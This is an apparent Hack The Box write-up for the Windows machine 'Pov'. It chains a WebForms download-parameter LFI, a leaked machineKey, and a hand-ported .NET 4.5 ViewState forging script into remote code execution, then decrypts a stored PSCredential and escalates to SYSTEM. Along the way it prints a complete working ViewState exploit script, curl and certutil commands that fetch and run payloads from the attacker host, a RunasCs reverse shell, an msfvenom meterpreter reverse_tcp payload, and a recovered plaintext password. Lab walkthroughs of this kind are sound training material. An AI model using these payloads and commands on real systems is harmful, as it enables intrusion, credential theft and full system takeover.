Miguel.sh

POV

The marketing site leaks a dev subdomain running an ASP.NET WebForms portfolio. A download-postback LFI reads web.config and its machineKey, but .NET 4.5 purpose-derived keys defeat the usual forge tools, so the ViewState signer is ported by hand and verified offline before it returns RCE as the app-pool user sfitz. A PSCredential found and decrypted in sfitz's profile gives alaading via RunasCs, and alaading's SeDebugPrivilege lets a meterpreter session migrate into winlogon for SYSTEM.

Category
machine
Source
HTB
OS
windows
Difficulty
medium
Released
Retired
Tags
windowsiisaspnetwebformsviewstate-deserializationmachinekeylfirunascssedebugprivilegemetasploit
Tools
nmap, burp-suite, viewgen, python, tcpdump, curl, certutil, runascs, netcat, msfvenom, metasploit

Attack path

flowchart LR
  A["nmap: only 80, IIS 10"] --> B["pov.htb contact text leaks<br/>dev.pov.htb and sfitz@pov.htb"]
  B --> C["/portfolio WebForms app:<br/>download postback + ViewState forms"]
  C --> D["LFI in the file= parameter"]
  D --> E["web.config read<br/>machineKey AES + SHA1"]
  E --> F["custom .NET 4.5 ViewState forge<br/>offline-verified against real ViewState"]
  F --> G["ViewState RCE as sfitz<br/>with Temp-file output channel"]
  G --> H["staged bat over curl<br/>beats gadget length limit"]
  D --> I["connection.xml via LFI<br/>PSCredential for alaading"]
  H --> J["on-box decrypt as sfitz<br/>password for alaading"]
  I --> J
  J --> K["RunasCs reverse shell<br/>as alaading, user flag"]
  K --> L["SeDebugPrivilege"]
  L --> M["meterpreter migrate into winlogon<br/>SYSTEM, root flag"]

Recon

Step 1 — Port scan

A full-range TCP scan finds every exposed service before anything else is touched.

nmap
nmap -sV -sC -T4 -p- 10.129.230.183
nmap (trimmed)
80/tcp open http Microsoft IIS httpd 10.0

Only HTTP: IIS 10.0 serving a site titled pov.htb. No SMB, no WinRM — everything has to come through the web app.

Step 2 — Add the hostnames found in the site text

The main site on pov.htb is a marketing page. Its Contact Us section leaks a subdomain and an email address:

"check my profile at dev.pov.htb"
sfitz@pov.htb

IIS serves content per Host header, so the dev site is only reachable once the name resolves:

/etc/hosts
echo '10.129.230.183 pov.htb dev.pov.htb' | sudo tee -a /etc/hosts

The email also records the username sfitz, confirmed again in step 3.

Step 3 — Map the portfolio application

dev.pov.htb redirects to /portfolio/, a personal portfolio for Stephen Fitz (“Web Developer and UI/UX Designer”, working in JS, ASP.NET and PHP). Blog posts are signed Posted By: sfitz. The application is ASP.NET WebForms and exposes two attackable features.

The landing page has a download button wired to a postback with a hidden path parameter:

GET /portfolio/default.aspx (abridged)
<a href="javascript:__doPostBack('download','')">Download CV</a>
<input type="hidden" name="file" id="file" value="cv.pdf" />

The file parameter reaches a file read on the server, so it is an LFI candidate (step 4). The contact page posts a full WebForms state bag:

GET /portfolio/contact.aspx (form fields)
__VIEWSTATE
__VIEWSTATEGENERATOR=37310E71
__EVENTVALIDATION

If the LFI can read web.config, its machineKey turns contact.aspx into a ViewState deserialization target (steps 5–8).

Foothold

Step 4 — Turn the download postback into arbitrary file read

The download is a WebForms postback: the browser POSTs back to the same URL with the page’s state fields plus __EVENTTARGET=download and the hidden file value. The server validates those state fields on every postback, so the POST must carry the page’s own __VIEWSTATE, __VIEWSTATEGENERATOR and __EVENTVALIDATION — harvest them from a GET first.

Burp Repeater — GET /portfolio/default.aspx
GET /portfolio/default.aspx HTTP/1.1
Host: dev.pov.htb
hidden fields in the GET response
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="…" />
<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="…" />
<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="…" />
<input type="hidden" name="file" id="file" value="cv.pdf" />

Send the state fields back with the event target and a file value (state values are per-session — always paste your own from the GET):

Burp Repeater — POST /portfolio/default.aspx
POST /portfolio/default.aspx HTTP/1.1
Host: dev.pov.htb
Content-Type: application/x-www-form-urlencoded
__VIEWSTATE=<from the GET>&__VIEWSTATEGENERATOR=<from the GET>&__EVENTVALIDATION=<from the GET>&__EVENTTARGET=download&file=cv.pdf

file=cv.pdf is the baseline: a 200 whose body is the CV as an application/octet-stream attachment, proving the plumbing works. Then test the parameter as an arbitrary read:

same POST, new file value
__EVENTTARGET=download&file=C:\Windows\win.ini

The response is a 200 whose body is the full win.ini — an absolute path outside the application directory returns a file, so this is an unrestricted read. Use absolute Windows paths or backslash traversal: forward-slash variants (../web.config) fail with a 302 to default.aspx?aspxerrorpath=..., a customErrors-On redirect hiding the exception. A 302 here means “path not accepted”, not “file missing”.

Step 5 — Read web.config and capture the machineKey

The application directory is /portfolio, so one level of backslash traversal reaches the site root config — same POST from step 4, change only the file value:

Burp Repeater
__EVENTTARGET=download&file=..\web.config
web.config (machineKey)
<machineKey decryption="AES"
decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
validation="SHA1"
validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />

These keys sign and encrypt every ViewState the site issues — whoever holds them can forge ViewState, which WebForms deserializes on postback. The same config records targetFramework 4.5: on 4.5 the keys are not used raw but run through a per-purpose derivation (step 7). The forge target is contact.aspx with its __VIEWSTATEGENERATOR=37310E71 from step 3.

Step 6 — Set up the forge: ViewGen clone and forge45.py

ViewGen is cloned for one ingredient: its viewgen script ships a hardcoded ysoserial_net_shell_payload — a ready-made serialized TypeConfuseDelegate gadget that runs a /c <command> — and the script below extracts that blob with a regex and substitutes the command. ViewGen’s own signer is not used: ViewGen only signs with raw keys (.NET ≤ 4.0) and ysoserial.net needs a real .NET Framework host, so the 4.5 derivation is ported here (step 7) and ViewGen supplies the gadget (details: What didn’t work).

attacker
git clone https://github.com/0xACB/ViewGen.git
pip3 install --user --upgrade -r ViewGen/requirements.txt --break-system-packages

--break-system-packages is required on Kali’s PEP 668-managed Python; the requirements include pycryptodome, which the forge imports. Save the script below as forge45.py inside the cloned ViewGen directory, next to the viewgen file — gadget() opens viewgen from its own directory to extract the payload blob. Run every python3 forge45.py command below from inside that directory.

forge45.py — save as ViewGen/forge45.py
#!/usr/bin/env python3
# .NET 4.5 ViewState forge + auto-send — POV
import base64, hmac, hashlib, struct, sys, os, re, binascii, urllib.parse, urllib.request
from Crypto.Cipher import AES
VKEY = binascii.unhexlify("5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468")
DKEY = binascii.unhexlify("74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43")
SPECS = ["TemplateSourceDirectory: /PORTFOLIO", "Type: PORTFOLIO_CONTACT_ASPX"]
URL = "http://dev.pov.htb/portfolio/contact.aspx"
def w7(n):
out = b""
while True:
x = n & 0x7F; n >>= 7
out += bytes([x | 0x80]) if n else bytes([x])
if not n: return out
def bw_string(s):
return w7(len(s.encode())) + s.encode()
def sp800_108(master, label, context):
L = len(master) * 8
tail = label + b"\x00" + context + struct.pack(">I", L)
h = hmac.new(master, digestmod=hashlib.sha512); out = b""; i = 1
while len(out) < len(master):
hi = h.copy(); hi.update(struct.pack(">I", i) + tail); out += hi.digest(); i += 1
return out[:len(master)]
def derive():
label = b"WebForms.HiddenFieldPageStatePersister.ClientState"
ctx = b"".join(bw_string(s) for s in SPECS)
return sp800_108(VKEY, label, ctx), sp800_108(DKEY, label, ctx)
def gadget(command):
here = os.path.dirname(os.path.abspath(__file__))
src = open(os.path.join(here, "viewgen")).read()
blob = re.search(r'ysoserial_net_shell_payload\s*=\s*"([^"]+)"', src).group(1)
new = w7(len(command) + 3) + b"/c " + command.encode()
return base64.b64decode(blob).replace(b"\x0f/c ping 8.8.8.8", new)
def forge(command):
kv, kd = derive()
clear = gadget(command)
iv = os.urandom(16)
p = 16 - len(clear) % 16
cipher = AES.new(kd, AES.MODE_CBC, iv).encrypt(clear + bytes([p]) * p)
sig = hmac.new(kv, iv + cipher, hashlib.sha1).digest()
return urllib.parse.quote(base64.b64encode(iv + cipher + sig).decode(), safe="")
def send(blob):
body = ("__VIEWSTATE=%s&__VIEWSTATEGENERATOR=37310E71" % blob).encode()
req = urllib.request.Request(URL, data=body,
headers={"Content-Type": "application/x-www-form-urlencoded"})
try:
r = urllib.request.urlopen(req, timeout=30)
return "HTTP %s (%d bytes)" % (r.status, len(r.read()))
except urllib.error.HTTPError as e:
return "HTTP %d (command usually still ran)" % e.code
except Exception as e:
return "ERR %s" % e
if __name__ == "__main__":
if sys.argv[1] == "send":
cmd = sys.argv[2]
print(send(forge(cmd)))
else:
print(forge(sys.argv[1]))

python3 forge45.py '<command>' prints a forged __VIEWSTATE; python3 forge45.py send '<command>' forges it and POSTs it to the URL hardcoded at the top. The URL, SPECS and generator id 37310E71 are all specific to /portfolio/contact.aspx — retargeting another page means changing those three.

Step 7 — What the script derives, and how it was verified

Since .NET 4.5, ASP.NET does not use the machineKey bytes directly. Each cryptographic operation derives a key from the machineKey with NIST SP800-108 in counter mode, using HMACSHA512 as the PRF. The KDF input includes the operation’s purpose, so one machineKey yields different keys for ViewState, event validation, and the other protected state features. For WebForms ViewState the purpose is the concatenation of three strings: the persister (WebForms.HiddenFieldPageStatePersister.ClientState), the page’s directory (TemplateSourceDirectory: /PORTFOLIO), and the page class (Type: PORTFOLIO_CONTACT_ASPX). The final ViewState envelope for this box, with decryption="AES" and validation="SHA1", is IV(16) ‖ AES-CBC-PKCS7(key = derived(decryptionKey)) ‖ HMACSHA1(key = derived(validationKey), IV‖cipher).

The two page-specific purpose strings follow the page path /portfolio/contact.aspx: the template directory is /PORTFOLIO, and the class name keeps the subdirectory and carries no ASP. prefix — PORTFOLIO_CONTACT_ASPX, not ASP.contact_aspx. They were found by testing candidates against a genuine __VIEWSTATE harvested from contact.aspx until both the HMAC verified and the plaintext decrypted.

That harvested __VIEWSTATE is an offline oracle for the whole port: run the derivation in decrypt mode over it — the HMACSHA1 tag must verify, and the AES plaintext must start with /wEP (bytes 0xFF 0x01), the LosFormatter magic every WebForms ViewState begins with. If both pass, the machineKey, the SP800-108 port, and the purpose strings are all proven correct before a single payload is sent.

Step 8 — Confirm RCE with an ICMP callback

Deserialization gives no usable HTTP response, so the proof of execution is a listener. In one terminal, watch for ICMP on the VPN interface; in another, send the payload:

terminal 1 — listener
sudo tcpdump -i tun0 icmp
terminal 2 — payload (Windows ping: -n 1 = single echo)
python3 forge45.py send 'ping -n 1 10.10.14.33'
tcpdump
IP 10.129.230.183 > 10.10.14.33: ICMP echo request seq 1

The forged ViewState deserialized and the gadget ran. Ignore what the script prints about the HTTP response — HTTP 500 (command usually still ran) or a 200 both occur — the listener is the signal, always.

Step 9 — Establish an output channel and identify the user

Blind RCE becomes readable by redirecting command output to a file and reading it back through the LFI:

payload
python3 forge45.py send 'whoami > C:\Windows\Temp\w.txt 2>&1'
Burp Repeater — same POST as step 4, new file value
__EVENTTARGET=download&file=C:\Windows\Temp\w.txt
C:\Windows\Temp\w.txt
pov\sfitz

The output path must be absolute: the command inherits the working directory of the w3wp worker process, not the application directory, so relative writes are never found again. C:\Windows\Temp is writable by the application pool and reads back cleanly through the LFI. The identity is the significant result — the dev application pool runs as the real account pov\sfitz, not an ApplicationPoolIdentity, so the foothold already operates at user level.

Step 10 — Beat the gadget’s command-length limit with a staged bat

The TypeConfuseDelegate blob embeds the command inside a fixed serialized gadget, which sets a hard ceiling on command length: delivered commands must stay at ~50 characters or fewer — the exact limit was never pinned down but lies between 50 and 67 (diagnosis experiments: What didn’t work). Arbitrary-length execution comes from staging: put the long command in a .bat on the attacker host and deliver it with three short ones.

staging pattern — three payloads, each under the limit
python3 forge45.py send 'mkdir C:\T'
python3 forge45.py send 'curl 10.10.14.33/<file> -o C:\T\<file>.bat'
python3 forge45.py send 'C:\T\<file>.bat'

The curl URL is scheme-less because http is curl’s default — dropping http:// saves 7 characters against the limit, which also means the server must be on port 80:

attacker — serve the directory holding the bat files
sudo python3 -m http.server 80

sudo because port 80 is privileged, and run it from the directory that holds the bat files — python3 -m http.server serves its current working directory. Bat files need CRLF line endings to execute on Windows — the creation commands in steps 12 and 13 handle that with sed.

Privilege escalation

The foothold runs as sfitz, but the user flag belongs to a second local account. The path to it runs through sfitz’s own files.

User — credential discovery and RunasCs

Step 11 — Find a PSCredential in sfitz’s profile

The LFI doubles as a file browser over C:\Users\sfitz — the same POST as step 4 with a new file value. Under Documents sits a saved credential:

Burp Repeater
__EVENTTARGET=download&file=C:\Users\sfitz\Documents\connection.xml

The file is UTF-16LE PowerShell credential XML: a PSCredential with UserName=alaading and the password stored as a DPAPI <SS> blob.

Step 12 — Decrypt the credential on-box as sfitz

The blob is DPAPI-encrypted at user scope, so only a process running as sfitz on this box can unwrap it — no offline cracking. The RCE channel from step 9 is exactly that context, and the staged-bat pattern from step 10 carries the long PowerShell line past the length limit. Create the bat (the CRLF conversion is the sed line), serve its directory on port 80 as in step 10, then deliver:

attacker — create and serve b2.bat
cat > b2.bat <<'EOF'
powershell -c "(Import-Clixml 'C:\Users\sfitz\Documents\connection.xml').GetNetworkCredential().Password" > C:\Windows\Temp\pw.txt 2>&1
EOF
sed -i 's/$/\r/' b2.bat
sudo python3 -m http.server 80
payloads
python3 forge45.py send 'mkdir C:\T'
python3 forge45.py send 'curl 10.10.14.33/b2 -o C:\T\b2.bat'
python3 forge45.py send 'C:\T\b2.bat'
Burp Repeater — read the result via the LFI
__EVENTTARGET=download&file=C:\Windows\Temp\pw.txt
C:\Windows\Temp\pw.txt
f8gQ8fynP44ek1m3

Export-Clixml on a PSCredential serializes the password as a DPAPI user-scope blob, and user scope ties decryption to the exporting user’s logon context on that machine — which is why the on-box run as sfitz works. Import-Clixml parses and decrypts it, and GetNetworkCredential() returns the plaintext as a NetworkCredential.

Step 13 — Deliver RunasCs and get a shell as alaading

No remote-management port is open (step 1 showed only 80), so runas-style execution needs a reverse connection. RunasCs logs on with the credential from step 12 and pipes the spawned process I/O to a socket. Download the v1.5 release, extract, and serve the exe under a short name from the same port-80 directory as the bats:

attacker
wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip
unzip RunasCs.zip
mv RunasCs.exe r.exe

Inside the bat there is no length limit, so it can use the full URL and an explicit destination:

attacker — create b.bat (same directory the step-12 server is serving)
cat > b.bat <<'EOF'
certutil -urlcache -f http://10.10.14.33/r.exe C:\Windows\Temp\r.exe
C:\Windows\Temp\r.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.14.33:4444
EOF
sed -i 's/$/\r/' b.bat

Start the listener, then stage the bat exactly as in step 10 (C:\T already exists from step 12):

listener
rlwrap nc -lvnp 4444
payloads
python3 forge45.py send 'curl 10.10.14.33/b -o C:\T\b.bat'
python3 forge45.py send 'C:\T\b.bat'
RunasCs callback
C:\Users\alaading>whoami
pov\alaading

An interactive cmd as the second account lands on the listener (rlwrap gives it readline history and arrow keys).

Step 14 — User flag

The flag sits on alaading’s desktop.

user flag
type C:\Users\alaading\Desktop\user.txt
<redacted>

Root — SeDebugPrivilege and meterpreter migration

Step 15 — Check alaading’s privileges

privileges of the alaading shell
whoami /priv
whoami /priv (trimmed)
SeDebugPrivilege Debug programs Disabled

The token also holds SeChangeNotifyPrivilege and SeIncreaseWorkingSetPrivilege. SeDebugPrivilege is the escalation path: it grants access to processes this account does not own. Its Disabled state only means it is switched off, not absent — whether it reads Enabled depends on the process holding the token: on this box it shows Disabled in the RunasCs cmd shell and Enabled from a PowerShell process on the same logon, and tooling that manages its own token, such as meterpreter, enables the privilege itself before using it.

Step 16 — Generate and deliver a meterpreter payload

The RunasCs shell is interactive, so the gadget length limit no longer applies — certutil downloads directly. A meterpreter session is chosen because its migrate both enables SeDebugPrivilege in its own token and performs cross-process injection, which is exactly what step 15 allows. The payload is x64 because the migration target in step 17 is an x64 process:

msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.33 LPORT=9001 -f exe -o rev.exe
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.33
set LPORT 9001
run

Serve rev.exe from the same port-80 directory, then from the alaading shell:

alaading shell
certutil -urlcache -f http://10.10.14.33/rev.exe C:\Windows\Temp\rev.exe
C:\Windows\Temp\rev.exe

A meterpreter session opens as pov\alaading.

Step 17 — Migrate into winlogon

winlogon.exe runs as SYSTEM from boot, so it is a stable migration target. Find its PID, then migrate — meterpreter enables SeDebugPrivilege, opens a handle to the winlogon process across accounts, and injects the session into it:

meterpreter
ps -S winlogon
migrate 552
getuid
ps -S winlogon (trimmed); 552 was this box's winlogon PID — use yours
552 winlogon.exe x64 0 NT AUTHORITY\SYSTEM
Server username: NT AUTHORITY\SYSTEM

SeDebugPrivilege permits cross-user process injection, which meterpreter’s migrate uses against a SYSTEM PID (details: What didn’t work). The only constraint on migrate is architecture: the x64 payload must match the x64 target process, which is why step 16 generated x64.

Step 18 — Root flag

meterpreter
shell
root flag
type C:\Users\Administrator\Desktop\root.txt
<redacted>

What didn’t work

  • ViewGen --check = Signature fail. The keys from step 5 were checked against a genuine contact.aspx __VIEWSTATE: the HMAC never matched, despite the machineKey being correct. Root cause: on .NET 4.5 ASP.NET derives per-purpose keys from the machineKey (SP800-108) instead of HMACing with the raw validationKey, and ViewGen implements raw-key signing only (.NET ≤ 4.0). The mismatch also triggered a key-hunt detour — the framework root web.config and machine.config were read through the LFI, looking for an overriding machineKey. Both were stock configurations with no key.
  • ysoserial.net on Linux. The TypeConfuseDelegate gadget throws a NullReferenceException under mono: MulticastDelegate._invocationList is not reflectable there, so fi.SetValue operates on null. The ViewState plugin also reflects .NET-Framework-only System.Web internals, so even a working gadget would not produce valid .NET 4.5 output under mono. No Windows VM was available, so the derivation was ported to Python from the .NET reference source (Purpose.cs, SP800_108.cs, NetFXCryptoService.cs) — the port behind steps 6–7.
  • Long commands silently failing (length-limit diagnosis). certutil and powershell commands of roughly 67 characters and longer never executed: no HTTP hit on the attacker server, no output file. Commands of 50 characters and fewer were proven working. A padded-ping binary search was prepared to pin the threshold, and a dir C:/Windows/Temp test — which executed but errored on cmd syntax — ruled out slash content as the cause. The exact threshold was never pinned down. The rule adopted from this: keep delivered commands at 50 characters or fewer and stage longer logic in a downloaded .bat (step 10).
  • http.server serving the wrong directory. The bat files were created under ~/tools/ysoserial while the server ran from ~/htb/lab/pov, so every download returned 404. The 404 log line was itself the useful signal: it proved curl executed on the box and outbound HTTP:80 worked, separating this failure from the length limit. Fix: serve from the directory containing the files.
  • The 8080 site lead. A footer link to http://dev.pov.htb:8080 and a 403-handler redirect both pointed at a second site. The port is closed externally, and applicationHost.config — which would have mapped the site to its physical path — is ACL’d away from the app pool identity. Dead lead, never used.
  • psgetsys.ps1 (ImpersonateFromParentPid). Run against winlogon PID 552 with SeDebugPrivilege. Children spawn (Starting ... True - pid, Last error: 122) but never execute — no output file even in C:\Users\Public. Not diagnosed further; replaced by meterpreter migrate (step 17).

Lessons learned

  • A download parameter that takes a path is an arbitrary-read primitive. Test absolute paths and both traversal separators early: here absolute paths and ..\ worked while forward-slash paths vanished behind a customErrors redirect.
  • LFI → web.config → machineKey → ViewState deserialization is the standard WebForms chain, but on targetFramework 4.5 the machineKey alone is not enough. Keys are SP800-108-derived per purpose, so raw-key tools like ViewGen fail with Signature fail and the derivation has to be reproduced — the .NET reference source documents it completely.
  • Verify a forge offline before sending payloads. A genuine __VIEWSTATE proves the keys and purpose strings in decrypt mode: valid HMAC plus plaintext starting /wEP means the port is correct.
  • Short-command RCE is still arbitrary-length RCE. A staged bat fetched with scheme-less curl turns a ~50-character ceiling into unlimited payload size, and > C:\Windows\Temp\w.txt 2>&1 plus the LFI turns blind execution into a readable output channel.
  • An application pool running as a real user collapses a rung: the deserialization foothold is already a user context, and that user’s profile is where the next credential lives. PSCredential XML is DPAPI user-scope encrypted, so the on-box context that found it is also the context that can decrypt it.
  • SeDebugPrivilege does not require a working token-theft exploit. Meterpreter enables the privilege and migrates into a SYSTEM process such as winlogon directly — matching the payload architecture to the target process is the only constraint.